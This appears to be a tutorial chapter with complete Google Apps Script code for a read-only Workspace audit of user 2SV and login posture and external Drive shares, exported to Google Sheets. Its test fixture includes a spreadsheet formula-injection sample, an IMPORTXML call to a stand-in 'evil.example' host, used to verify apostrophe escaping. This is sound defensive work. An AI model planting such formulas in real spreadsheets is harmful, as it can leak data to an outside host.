Revoking an external collaborator's Drive access also records a change_user_access event whose new_value is ['none']. extractExternalDriveShareRows_ drops events where grantedRoles is empty after removing 'none', so revocations do not appear as active external shares. For change_user_access events, it classifies grants strictly by whether target_user or target_domain falls outside the organization's internal domains (seeded from AUDIT_INTERNAL_DOMAINS, or from activity.ownerDomain in a single-domain tenant) rather than by the file's overall visibility parameter, because granting an internal colleague access to a file that already has an external collaborator still reports visibility: 'shared_externally'. Visibility-based classification is reserved for change_document_visibility link-sharing events that switch a file to 'people_with_link' or 'public_on_the_web'.
Before building each spreadsheet row, every untrusted string passes through escapeSpreadsheetFormulaText_:
function escapeSpreadsheetFormulaText_(value) {
if (/^[=+\-@\t\r]/.test(value)) {
return "'" + value;
}
return value;
} An external collaborator can share or rename a file whose doc_title starts with =IMPORTXML(...) or +cmd. Prefixing a leading apostrophe (') tells Google Sheets to store the cell as plain text instead of evaluating a formula, and protects CSV exports opened in desktop spreadsheet tools when a string begins with a tab (\t) or carriage return (\r) followed by an operator.
Finally, prepareAuditTab_ checks existing.getDataRange().getFormulas() on both tabs before any API writes occur, refusing to overwrite a worksheet that contains formulas. writeAuditTable_ prepends the frozen header row ([Array.from(headers), ...bodyRows]), clears old values with sheet.clearContents(), and writes the complete rectangular grid in one setValues() call per tab. Including the header row guarantees table.length >= 1, so an audit with zero external shares still writes a valid 1 x 9 header range without triggering an invalid-dimension error on getRange.
Run the local check, then export a live audit
Verify the transformation logic in memory first:
In the Apps Script editor, select
runLocalAuditNormalizationCheckin the toolbar and click Run. Approve project scopes if prompted. Because this function calls no Google services, it succeeds on any consumer Gmail or Workspace account.Confirm Execution log prints a passing summary:
{
"mode": "local_check",
"status": "passed",
"usersChecked": 4,
"flaggedUserCount": 2,
"externalShareCount": 1,
"escapedUserNameSample": "'=IMPORTXML(\"https://evil.example\",\"//a\")",
"escapedDocTitleSample": "'+Q4 Forecast Export"
} Next, run the live export from an account with delegated Users read and Reports privileges:
Confirm
AUDIT_SPREADSHEET_IDis saved under Project Settings > Script Properties.Select
exportWorkspaceSecurityAuditand click Run. Review and approve the three read-only Directory, read-only Reports, and Sheets scopes. If granular consent halts the first run, click Run again.Inspect the logged
live_auditJSON object:directoryUsersFetchedanddirectoryFlaggedUsersreport user counts,externalShareEventsWrittencounts active external Drive grants, anddirectoryTruncatedAtCaporactivityTruncatedAtCapturnstruewhen your tenant has more pages thanMAX_USER_PAGES(5) orMAX_ACTIVITY_PAGES(2).Open the audit spreadsheet. Check
UserPosture(A1:I) to review flagged accounts at the top, and checkExternalShares(A1:I) to review external Drive grants.
Classify common Admin SDK errors
If a check or API request fails, exportWorkspaceSecurityAudit stops before overwriting UserPosture or ExternalShares. Match the error in Executions to its cause:
| Error or symptom | Cause and fix |
|---|---|
AdminDirectory is not defined or AdminReports is not defined | Save appsscript.json with both enabledAdvancedServices entries (directory_v1 and reports_v1) and verify both appear under Services. |
Set Script Property AUDIT_SPREADSHEET_ID... or invalid ID format | Store only the file ID characters from /d/FILE_ID/edit in Project Settings > Script Properties, without the surrounding URL. |
GoogleJsonResponseException: ... Not Authorized to access this resource/api (403) | OAuth scopes were approved, but the signed-in Google account lacks Workspace admin privileges for Users read or Reports. Sign in as the delegated admin account or ask a Super Admin to assign a read-only role. |
GoogleJsonResponseException: ... Access Not Configured (403) | The script is linked to a standard Google Cloud project where Admin SDK API or Google Sheets API is disabled. Enable the missing API in Cloud Console. |
Customer doesn't have access to Drive audit reports or empty Drive report on starter tiers | Drive activity logs require an eligible Google Workspace Business or Enterprise edition. Test Activities.list with 'login' or 'admin' on editions without Drive audit logs. |
Sheet "UserPosture" contains a formula | Point AUDIT_SPREADSHEET_ID at a dedicated plain-data workbook, or move formulas onto a separate summary tab that reads UserPosture and ExternalShares. |
Exercise
Predict each outcome before editing a private copy of Code.gs:
In
runLocalAuditNormalizationCheck, add an active user object withsuspended: false,isEnrolledIn2Sv: true,isEnforcedIn2Sv: false, andlastLoginTime: '2026-11-17T12:00:00.000Z'. What doesnormalizeDirectoryUser_return inflags, and why does enrollment alone leave the account flagged?In
fetchBoundedDriveAccessActivities_, addstartTime: new Date(Date.now() - 7 * MS_PER_DAY).toISOString()torequestOptions. Which timestamp format doesActivities.listrequire, and what happens if a clock skew or typo setsstartTimeafter the current UTC time?Suppose your organization owns both
acme.exampleandsubsidiary.example, and an analyst inacme.examplegrantscan_viewon a private file tofinance@subsidiary.example. Compare whatextractExternalDriveShareRows_outputs whenAUDIT_INTERNAL_DOMAINSis unset versus whenAUDIT_INTERNAL_DOMAINSis set toacme.example,subsidiary.example.
Check your predictions:
flagscontains['2sv_not_enforced']andneedsReviewistrue.normalizeDirectoryUser_checksuser.isEnforcedIn2Sv === truebecause a user enrolled in an optional-2SV organizational unit can still turn off 2SV until enforcement is turned on.Activities.listrequires an RFC 3339 timestamp such astoISOString()(YYYY-MM-DDTHH:mm:ss.sssZ). IfstartTimeis later thanendTimeor the current server time, the Reports API rejects the request with a400invalid-parameter error.When
AUDIT_INTERNAL_DOMAINSis unset,extractExternalDriveShareRows_knows onlyactivity.ownerDomain(acme.example) and flagsfinance@subsidiary.exampleas external. SettingAUDIT_INTERNAL_DOMAINStoacme.example,subsidiary.examplerecognizes both owned domains as internal and omits the row.
When you finish testing, delete AUDIT_SPREADSHEET_ID and AUDIT_INTERNAL_DOMAINS from Script Properties and trash any disposable practice workbook.
Next, read Query BigQuery into Google Sheets when your organization exports Workspace logs to BigQuery or exceeds Apps Script's six-minute execution window on multi-thousand-user directories.
Project files
Complete source files for this chapter's examples.
Audit Workspace user posture and external Drive shares into Google Sheets
Code.gs
Download fileconst DIRECTORY_USER_READONLY_SCOPE = 'https://www.googleapis.com/auth/admin.directory.user.readonly';
const REPORTS_AUDIT_READONLY_SCOPE = 'https://www.googleapis.com/auth/admin.reports.audit.readonly';
const SPREADSHEETS_SCOPE = 'https://www.googleapis.com/auth/spreadsheets';
const AUDIT_SPREADSHEET_ID_PROPERTY = 'AUDIT_SPREADSHEET_ID';
const AUDIT_INTERNAL_DOMAINS_PROPERTY = 'AUDIT_INTERNAL_DOMAINS';
const USER_POSTURE_SHEET_NAME = 'UserPosture';
const EXTERNAL_SHARES_SHEET_NAME = 'ExternalShares';
const MAX_USER_PAGES = 5;
const USER_PAGE_SIZE = 100;
const MAX_ACTIVITY_PAGES = 2;
const ACTIVITY_PAGE_SIZE = 50;
const STALE_LOGIN_DAYS = 90;
const MS_PER_DAY = 24 * 60 * 60 * 1000;
const NEVER_LOGGED_IN_SENTINEL = '1970-01-01T00:00:00.000Z';
const DIRECTORY_USER_FIELDS_MASK =
'nextPageToken,users(primaryEmail,name/fullName,orgUnitPath,suspended,isAdmin,isEnforcedIn2Sv,lastLoginTime)';
const REPORTS_ACTIVITY_FIELDS_MASK =
'nextPageToken,items(id/time,actor/email,actor/callerType,ownerDomain,events(name,parameters(name,value,multiValue)))';
const USER_POSTURE_HEADERS = Object.freeze([
'Primary Email',
'Full Name',
'Org Unit',
'Account State',
'Super Admin',
'2SV Enforced',
'Last Login UTC',
'Days Since Login',
'Posture Flags',
]);
const EXTERNAL_SHARES_HEADERS = Object.freeze([
'Event Time UTC',
'Actor Email',
'Document ID',
'Document Title',
'Document Type',
'Owner Email',
'Target Principal',
'Visibility',
'Granted Access',
]);
/**
* @typedef {{
* spreadsheetId: string,
* internalDomains: Set<string>
* }} WorkspaceAuditConfig_
*/
/**
* @typedef {{
* primaryEmail: string,
* fullName: string,
* orgUnitPath: string,
* accountState: 'active' | 'suspended',
* isAdmin: boolean,
* isEnforcedIn2Sv: boolean,
* lastLoginDisplay: string,
* daysSinceLogin: number | string,
* flags: string[],
* needsReview: boolean,
* row: (string | number | boolean)[]
* }} NormalizedUserPosture_
*/
/**
* @typedef {{
* eventTimeUtc: string,
* actorEmail: string,
* documentId: string,
* documentTitle: string,
* documentType: string,
* ownerEmail: string,
* targetPrincipal: string,
* visibility: string,
* grantedAccess: string,
* row: string[]
* }} ExternalDriveShareRow_
*/
/**
* Runs a pure in-memory verification of user-posture normalization, Drive
* external-share extraction, and spreadsheet formula-injection escaping.
* Calls no Workspace or Admin SDK APIs, so any account can execute it.
*/
function runLocalAuditNormalizationCheck() {
const referenceTimeMs = Date.parse('2026-11-18T00:00:00.000Z');
/** @type {AdminDirectory.Schema.User[]} */
const sampleUsers = [
{
primaryEmail: 'auditor-reader@acme.example',
name: { fullName: 'Morgan Lee' },
orgUnitPath: '/Security',
suspended: false,
isAdmin: false,
isEnforcedIn2Sv: true,
lastLoginTime: '2026-11-15T14:30:00.000Z',
},
{
primaryEmail: 'contractor@acme.example',
name: { fullName: '=IMPORTXML("https://evil.example","//a")' },
orgUnitPath: '/Contractors',
suspended: false,
isAdmin: false,
isEnforcedIn2Sv: false,
lastLoginTime: NEVER_LOGGED_IN_SENTINEL,
},
{
primaryEmail: 'seasonal-staff@acme.example',
name: { fullName: 'Jordan Patel' },
orgUnitPath: '/Operations',
suspended: false,
isAdmin: false,
isEnforcedIn2Sv: true,
lastLoginTime: '2026-07-10T09:00:00.000Z',
},
{
primaryEmail: 'archived-alumni@acme.example',
name: { fullName: 'Taylor Kim' },
orgUnitPath: '/Suspended',
suspended: true,
isAdmin: false,
isEnforcedIn2Sv: false,
lastLoginTime: NEVER_LOGGED_IN_SENTINEL,
},
];
const normalizedUsers = sampleUsers.map((user) =>
normalizeDirectoryUser_(user, referenceTimeMs),
);
if (normalizedUsers[0].needsReview !== false) {
throw new Error('Compliant active user with enforced 2SV and recent login must not be flagged.');
}
if (
!normalizedUsers[1].flags.includes('2sv_not_enforced') ||
!normalizedUsers[1].flags.includes('never_signed_in') ||
normalizedUsers[1].lastLoginDisplay !== 'never'
) {
throw new Error('Provisioned active user with 1970 epoch sentinel must flag 2sv_not_enforced and never_signed_in.');
}
if (!normalizedUsers[1].fullName.startsWith("'=IMPORTXML")) {
throw new Error('Leading = in untrusted user fullName must be escaped with an apostrophe.');
}
if (!normalizedUsers[2].flags.includes('inactive_over_90d')) {
throw new Error('Active user older than 90 days must flag inactive_over_90d.');
}
if (normalizedUsers[3].needsReview !== false) {
throw new Error('Suspended account must not raise active-account posture findings.');
}
/** @type {AdminReports.Schema.Activity[]} */
const sampleActivities = [
{
id: { time: '2026-11-17T18:10:00.000Z' },
actor: { email: 'analyst@acme.example' },
ownerDomain: 'acme.example',
events: [
{
name: 'change_user_access',
parameters: [
{ name: 'doc_id', value: '1AbCdEfGhIjKlMnOpQrStUvWxYz' },
{ name: 'doc_title', value: '+Q4 Forecast Export' },
{ name: 'doc_type', value: 'spreadsheet' },
{ name: 'owner', value: 'analyst@acme.example' },
{ name: 'target_user', value: 'reviewer@external-partner.example' },
{ name: 'visibility', value: 'shared_externally' },
{ name: 'new_value', multiValue: ['can_view'] },
],
},
{
name: 'change_user_access',
parameters: [
{ name: 'doc_id', value: '1InternalDocOnly987654321' },
{ name: 'doc_title', value: 'Team Runbook' },
{ name: 'doc_type', value: 'document' },
{ name: 'owner', value: 'analyst@acme.example' },
{ name: 'target_user', value: 'colleague@acme.example' },
{ name: 'visibility', value: 'shared_externally' },
{ name: 'new_value', multiValue: ['can_edit'] },
],
},
{
name: 'change_user_access',
parameters: [
{ name: 'doc_id', value: '1RevokedVendorDoc123456789' },
{ name: 'doc_title', value: 'Retired Vendor Spec' },
{ name: 'doc_type', value: 'document' },
{ name: 'owner', value: 'analyst@acme.example' },
{ name: 'target_user', value: 'former@external-partner.example' },
{ name: 'visibility', value: 'private' },
{ name: 'new_value', multiValue: ['none'] },
],
},
],
},
];
const externalShares = extractExternalDriveShareRows_(
sampleActivities,
new Set(['acme.example']),
);
if (externalShares.length !== 1) {
throw new Error(
'Expected exactly 1 active external share (excluding internal grants and access revocations), received ' +
externalShares.length +
'.',
);
}
if (externalShares[0].documentTitle !== "'+Q4 Forecast Export") {
throw new Error('Leading + in untrusted Drive doc_title must be escaped with an apostrophe.');
}
const prefixes = ['=SUM(1,2)', '+1-800-555-0199', '-100', '@admin', '\t=cmd', '\r=cmd', '\n=cmd'];
for (const unsafeText of prefixes) {
const escaped = escapeSpreadsheetFormulaText_(unsafeText);
if (escaped !== "'" + unsafeText) {
throw new Error('escapeSpreadsheetFormulaText_ failed to prefix ' + JSON.stringify(unsafeText));
}
}
const summary = {
mode: 'local_check',
status: 'passed',
usersChecked: normalizedUsers.length,
flaggedUserCount: normalizedUsers.filter((item) => item.needsReview).length,
externalShareCount: externalShares.length,
escapedUserNameSample: normalizedUsers[1].fullName,
escapedDocTitleSample: externalShares[0].documentTitle,
};
console.log(JSON.stringify(summary, null, 2));
return summary;
}
/**
* Exports a bounded read-only Workspace directory posture and external Drive
* sharing audit to the standalone spreadsheet configured in ScriptProperties.
*/
function exportWorkspaceSecurityAudit() {
const config = readAuditConfig_();
ScriptApp.requireScopes(ScriptApp.AuthMode.FULL, [
DIRECTORY_USER_READONLY_SCOPE,
REPORTS_AUDIT_READONLY_SCOPE,
SPREADSHEETS_SCOPE,
]);
const lock = LockService.getScriptLock();
if (!lock.tryLock(5000)) {
throw new Error(
'Another audit export holds the script lock. Wait for it to finish before retrying.',
);
}
try {
const spreadsheet = SpreadsheetApp.openById(config.spreadsheetId);
const userPostureSheet = prepareAuditTab_(spreadsheet, USER_POSTURE_SHEET_NAME);
const externalSharesSheet = prepareAuditTab_(spreadsheet, EXTERNAL_SHARES_SHEET_NAME);
const referenceTimeMs = Date.now();
const directoryResult = fetchBoundedDirectoryUsers_();
const normalizedUsers = directoryResult.users
.map((user) => normalizeDirectoryUser_(user, referenceTimeMs))
.sort(compareUserPosturePriority_);
const activityResult = fetchBoundedDriveAccessActivities_();
const externalShares = extractExternalDriveShareRows_(
activityResult.activities,
config.internalDomains,
);
writeAuditTable_(
userPostureSheet,
USER_POSTURE_HEADERS,
normalizedUsers.map((entry) => entry.row),
);
writeAuditTable_(
externalSharesSheet,
EXTERNAL_SHARES_HEADERS,
externalShares.map((entry) => entry.row),
);
SpreadsheetApp.flush();
const report = {
mode: 'live_audit',
generatedAtUtc: new Date(referenceTimeMs).toISOString(),
directoryUsersFetched: normalizedUsers.length,
directoryFlaggedUsers: normalizedUsers.filter((entry) => entry.needsReview).length,
directoryPagesFetched: directoryResult.pagesFetched,
directoryTruncatedAtCap: directoryResult.truncated,
driveActivitiesFetched: activityResult.activities.length,
externalShareEventsWritten: externalShares.length,
activityPagesFetched: activityResult.pagesFetched,
activityTruncatedAtCap: activityResult.truncated,
tabsWritten: [USER_POSTURE_SHEET_NAME, EXTERNAL_SHARES_SHEET_NAME],
};
console.log(JSON.stringify(report, null, 2));
return report;
} finally {
lock.releaseLock();
}
}
/**
* Fetches up to MAX_USER_PAGES pages from AdminDirectory.Users.list using
* customer: 'my_customer' and a partial-response fields mask.
* @returns {{users: AdminDirectory.Schema.User[], pagesFetched: number, truncated: boolean}}
*/
function fetchBoundedDirectoryUsers_() {
/** @type {AdminDirectory.Schema.User[]} */
const users = [];
/** @type {string | null} */
let pageToken = null;
let pagesFetched = 0;
do {
/** @type {{customer: string, maxResults: number, projection: string, fields: string, pageToken?: string}} */
const requestOptions = {
customer: 'my_customer',
maxResults: USER_PAGE_SIZE,
projection: 'basic',
fields: DIRECTORY_USER_FIELDS_MASK,
};
if (pageToken !== null) {
requestOptions.pageToken = pageToken;
}
const response = AdminDirectory.Users.list(requestOptions);
if (!response || typeof response !== 'object') {
throw new Error('AdminDirectory.Users.list returned an unexpected response.');
}
pagesFetched += 1;
const pageUsers = response.users === undefined ? [] : response.users;
if (!Array.isArray(pageUsers)) {
throw new Error('AdminDirectory.Users.list returned users in an unexpected format.');
}
for (const user of pageUsers) {
if (user && typeof user === 'object') {
users.push(user);
}
}
pageToken =
typeof response.nextPageToken === 'string' && response.nextPageToken.length > 0
? response.nextPageToken
: null;
} while (pageToken !== null && pagesFetched < MAX_USER_PAGES);
return {
users: users,
pagesFetched: pagesFetched,
truncated: pageToken !== null,
};
}
/**
* Fetches up to MAX_ACTIVITY_PAGES pages of Drive change_user_access audit
* records across all users via AdminReports.Activities.list.
* @returns {{activities: AdminReports.Schema.Activity[], pagesFetched: number, truncated: boolean}}
*/
function fetchBoundedDriveAccessActivities_() {
/** @type {AdminReports.Schema.Activity[]} */
const activities = [];
/** @type {string | null} */
let pageToken = null;
let pagesFetched = 0;
do {
/** @type {{eventName: string, maxResults: number, fields: string, pageToken?: string}} */
const requestOptions = {
eventName: 'change_user_access',
maxResults: ACTIVITY_PAGE_SIZE,
fields: REPORTS_ACTIVITY_FIELDS_MASK,
};
if (pageToken !== null) {
requestOptions.pageToken = pageToken;
}
const response = AdminReports.Activities.list('all', 'drive', requestOptions);
if (!response || typeof response !== 'object') {
throw new Error('AdminReports.Activities.list returned an unexpected response.');
}
pagesFetched += 1;
const items = response.items === undefined ? [] : response.items;
if (!Array.isArray(items)) {
throw new Error('AdminReports.Activities.list returned items in an unexpected format.');
}
for (const activity of items) {
if (activity && typeof activity === 'object') {
activities.push(activity);
}
}
pageToken =
typeof response.nextPageToken === 'string' && response.nextPageToken.length > 0
? response.nextPageToken
: null;
} while (pageToken !== null && pagesFetched < MAX_ACTIVITY_PAGES);
return {
activities: activities,
pagesFetched: pagesFetched,
truncated: pageToken !== null,
};
}
/**
* Normalizes one Directory user record and evaluates 2SV enforcement and
* 90-day login posture for active (non-suspended) accounts.
* @param {AdminDirectory.Schema.User} user
* @param {number} referenceTimeMs
* @returns {NormalizedUserPosture_}
*/
function normalizeDirectoryUser_(user, referenceTimeMs) {
const rawEmail = typeof user.primaryEmail === 'string' ? user.primaryEmail.trim() : '';
const rawFullName =
user.name && typeof user.name.fullName === 'string' ? user.name.fullName : '';
const rawOrgUnit =
typeof user.orgUnitPath === 'string' && user.orgUnitPath.length > 0
? user.orgUnitPath
: '/';
const suspended = user.suspended === true;
/** @type {'active' | 'suspended'} */
const accountState = suspended ? 'suspended' : 'active';
const isAdmin = user.isAdmin === true;
const isEnforcedIn2Sv = user.isEnforcedIn2Sv === true;
const rawLastLogin =
typeof user.lastLoginTime === 'string' ? user.lastLoginTime.trim() : '';
const parsedLoginMs = rawLastLogin.length > 0 ? Date.parse(rawLastLogin) : Number.NaN;
const neverSignedIn =
rawLastLogin.length === 0 ||
rawLastLogin === NEVER_LOGGED_IN_SENTINEL ||
Number.isNaN(parsedLoginMs) ||
parsedLoginMs <= 0;
const lastLoginDisplay = neverSignedIn
? 'never'
: new Date(parsedLoginMs).toISOString();
/** @type {number | string} */
const daysSinceLogin = neverSignedIn
? 'never'
: Math.max(0, Math.floor((referenceTimeMs - parsedLoginMs) / MS_PER_DAY));
/** @type {string[]} */
const flags = [];
if (!suspended) {
if (!isEnforcedIn2Sv) {
flags.push('2sv_not_enforced');
}
if (neverSignedIn) {
flags.push('never_signed_in');
} else if (referenceTimeMs - parsedLoginMs > STALE_LOGIN_DAYS * MS_PER_DAY) {
flags.push('inactive_over_90d');
}
}
const primaryEmail = escapeSpreadsheetFormulaText_(rawEmail);
const fullName = escapeSpreadsheetFormulaText_(rawFullName);
const orgUnitPath = escapeSpreadsheetFormulaText_(rawOrgUnit);
const needsReview = flags.length > 0;
const flagSummary = needsReview ? flags.join(', ') : 'ok';
return {
primaryEmail: primaryEmail,
fullName: fullName,
orgUnitPath: orgUnitPath,
accountState: accountState,
isAdmin: isAdmin,
isEnforcedIn2Sv: isEnforcedIn2Sv,
lastLoginDisplay: lastLoginDisplay,
daysSinceLogin: daysSinceLogin,
flags: flags,
needsReview: needsReview,
row: [
primaryEmail,
fullName,
orgUnitPath,
accountState,
isAdmin,
isEnforcedIn2Sv,
lastLoginDisplay,
daysSinceLogin,
flagSummary,
],
};
}
/**
* Extracts active external Drive sharing grants from AdminReports activity
* items while ignoring internal-domain shares and access revocations.
* @param {AdminReports.Schema.Activity[]} activities
* @param {ReadonlySet<string>} configuredInternalDomains
* @returns {ExternalDriveShareRow_[]}
*/
function extractExternalDriveShareRows_(activities, configuredInternalDomains) {
/** @type {ExternalDriveShareRow_[]} */
const rows = [];
for (const activity of activities) {
if (!activity || !Array.isArray(activity.events)) {
continue;
}
const rawTime =
activity.id && typeof activity.id.time === 'string' ? activity.id.time : '';
const rawActor =
activity.actor && typeof activity.actor.email === 'string' && activity.actor.email.length > 0
? activity.actor.email
: activity.actor && typeof activity.actor.callerType === 'string'
? activity.actor.callerType
: 'unknown';
const internalDomains = new Set(configuredInternalDomains);
if (
internalDomains.size === 0 &&
typeof activity.ownerDomain === 'string' &&
activity.ownerDomain.trim().length > 0
) {
internalDomains.add(activity.ownerDomain.trim().toLowerCase());
}
for (const event of activity.events) {
if (!event || event.name !== 'change_user_access') {
continue;
}
const params = event.parameters;
const visibility = getEventParamString_(params, 'visibility');
const newValues = getEventParamMultiValue_(params, 'new_value');
const grantedRoles = newValues.filter(
(role) => role.length > 0 && role.toLowerCase() !== 'none',
);
if (grantedRoles.length === 0) {
continue;
}
/** @type {string} */
let rawTargetPrincipal = '';
const targetUser = getEventParamString_(params, 'target_user').trim();
const targetDomain = getEventParamString_(params, 'target_domain').trim();
if (targetUser.length > 0) {
const targetUserDomain = extractEmailDomain_(targetUser);
if (targetUserDomain === null || internalDomains.has(targetUserDomain)) {
continue;
}
rawTargetPrincipal = targetUser;
} else if (targetDomain.length > 0) {
if (internalDomains.has(targetDomain.toLowerCase())) {
continue;
}
rawTargetPrincipal = '@' + targetDomain;
} else {
continue;
}
const eventTimeUtc = escapeSpreadsheetFormulaText_(rawTime);
const actorEmail = escapeSpreadsheetFormulaText_(rawActor);
const documentId = escapeSpreadsheetFormulaText_(
getEventParamString_(params, 'doc_id'),
);
const documentTitle = escapeSpreadsheetFormulaText_(
getEventParamString_(params, 'doc_title'),
);
const documentType = escapeSpreadsheetFormulaText_(
getEventParamString_(params, 'doc_type'),
);
const ownerEmail = escapeSpreadsheetFormulaText_(
getEventParamString_(params, 'owner'),
);
const targetPrincipal = escapeSpreadsheetFormulaText_(rawTargetPrincipal);
const safeVisibility = escapeSpreadsheetFormulaText_(visibility);
const grantedAccess = escapeSpreadsheetFormulaText_(grantedRoles.join(', '));
rows.push({
eventTimeUtc: eventTimeUtc,
actorEmail: actorEmail,
documentId: documentId,
documentTitle: documentTitle,
documentType: documentType,
ownerEmail: ownerEmail,
targetPrincipal: targetPrincipal,
visibility: safeVisibility,
grantedAccess: grantedAccess,
row: [
eventTimeUtc,
actorEmail,
documentId,
documentTitle,
documentType,
ownerEmail,
targetPrincipal,
safeVisibility,
grantedAccess,
],
});
}
}
return rows;
}
/**
* Prefixes a leading apostrophe when text starts with =, +, -, @, tab,
* carriage return, or line feed so Google Sheets stores untrusted audit
* strings as literal text rather than evaluating a spreadsheet formula.
* @param {string} value
* @returns {string}
*/
function escapeSpreadsheetFormulaText_(value) {
if (/^[=+\-@\t\r\n]/.test(value)) {
return "'" + value;
}
return value;
}
/**
* @param {{name?: string | undefined, value?: string | undefined, multiValue?: string[] | undefined}[] | undefined} parameters
* @param {string} targetName
* @returns {string}
*/
function getEventParamString_(parameters, targetName) {
if (!Array.isArray(parameters)) {
return '';
}
const match = parameters.find((param) => param && param.name === targetName);
if (!match) {
return '';
}
if (typeof match.value === 'string') {
return match.value;
}
if (Array.isArray(match.multiValue) && typeof match.multiValue[0] === 'string') {
return match.multiValue[0];
}
return '';
}
/**
* @param {{name?: string | undefined, value?: string | undefined, multiValue?: string[] | undefined}[] | undefined} parameters
* @param {string} targetName
* @returns {string[]}
*/
function getEventParamMultiValue_(parameters, targetName) {
if (!Array.isArray(parameters)) {
return [];
}
const match = parameters.find((param) => param && param.name === targetName);
if (!match) {
return [];
}
if (Array.isArray(match.multiValue)) {
return match.multiValue.filter((entry) => typeof entry === 'string');
}
if (typeof match.value === 'string' && match.value.length > 0) {
return [match.value];
}
return [];
}
/**
* @param {string} email
* @returns {string | null}
*/
function extractEmailDomain_(email) {
const trimmed = email.trim().toLowerCase();
const atIndex = trimmed.lastIndexOf('@');
if (atIndex <= 0 || atIndex === trimmed.length - 1) {
return null;
}
return trimmed.slice(atIndex + 1);
}
/**
* Sorts flagged active accounts above unflagged and suspended accounts, then
* orders alphabetically by primaryEmail.
* @param {NormalizedUserPosture_} left
* @param {NormalizedUserPosture_} right
* @returns {number}
*/
function compareUserPosturePriority_(left, right) {
if (left.needsReview !== right.needsReview) {
return left.needsReview ? -1 : 1;
}
return left.primaryEmail.localeCompare(right.primaryEmail);
}
/**
* Reads AUDIT_SPREADSHEET_ID (required) and AUDIT_INTERNAL_DOMAINS (optional)
* from ScriptProperties in one getProperties call.
* @returns {WorkspaceAuditConfig_}
*/
function readAuditConfig_() {
const allProperties = PropertiesService.getScriptProperties().getProperties();
const rawSpreadsheetId = allProperties[AUDIT_SPREADSHEET_ID_PROPERTY];
const spreadsheetId =
typeof rawSpreadsheetId === 'string' ? rawSpreadsheetId.trim() : '';
if (spreadsheetId.length === 0) {
throw new Error(
'Set Script Property ' +
AUDIT_SPREADSHEET_ID_PROPERTY +
' to your dedicated audit Google Sheet ID before running exportWorkspaceSecurityAudit.',
);
}
if (!/^[A-Za-z0-9_-]{20,120}$/.test(spreadsheetId)) {
throw new Error(
'Script Property ' +
AUDIT_SPREADSHEET_ID_PROPERTY +
' must be a spreadsheet file ID (letters, digits, hyphens, or underscores), not a full URL.',
);
}
/** @type {Set<string>} */
const internalDomains = new Set();
const rawDomains = allProperties[AUDIT_INTERNAL_DOMAINS_PROPERTY];
if (typeof rawDomains === 'string' && rawDomains.trim().length > 0) {
for (const part of rawDomains.split(',')) {
const domain = part.trim().toLowerCase();
if (domain.length > 0) {
internalDomains.add(domain);
}
}
}
return {
spreadsheetId: spreadsheetId,
internalDomains: internalDomains,
};
}
/**
* Returns the named tab, creating it when absent and refusing to overwrite any
* existing tab that contains spreadsheet formulas.
* @param {SpreadsheetApp.Spreadsheet} spreadsheet
* @param {string} sheetName
* @returns {SpreadsheetApp.Sheet}
*/
function prepareAuditTab_(spreadsheet, sheetName) {
const existing = spreadsheet.getSheetByName(sheetName);
if (!existing) {
return spreadsheet.insertSheet(sheetName);
}
const formulas = existing.getDataRange().getFormulas();
const hasFormula = formulas.some((formulaRow) =>
formulaRow.some((formula) => formula !== ''),
);
if (hasFormula) {
throw new Error(
'Sheet "' +
sheetName +
'" contains a formula. Use a dedicated plain-data audit spreadsheet before exporting.',
);
}
return existing;
}
/**
* Clears prior cell values and writes the header row plus normalized rows in a
* single batched setValues call.
* @param {SpreadsheetApp.Sheet} sheet
* @param {readonly string[]} headers
* @param {(string | number | boolean)[][]} bodyRows
*/
function writeAuditTable_(sheet, headers, bodyRows) {
const table = [Array.from(headers), ...bodyRows];
sheet.clearContents();
sheet.getRange(1, 1, table.length, headers.length).setValues(table);
}
appsscript.json
Download file{
"timeZone": "Etc/UTC",
"dependencies": {
"enabledAdvancedServices": [
{
"userSymbol": "AdminDirectory",
"serviceId": "admin",
"version": "directory_v1"
},
{
"userSymbol": "AdminReports",
"serviceId": "admin",
"version": "reports_v1"
}
]
},
"exceptionLogging": "STACKDRIVER",
"runtimeVersion": "V8",
"oauthScopes": [
"https://www.googleapis.com/auth/admin.directory.user.readonly",
"https://www.googleapis.com/auth/admin.reports.audit.readonly",
"https://www.googleapis.com/auth/spreadsheets"
]
}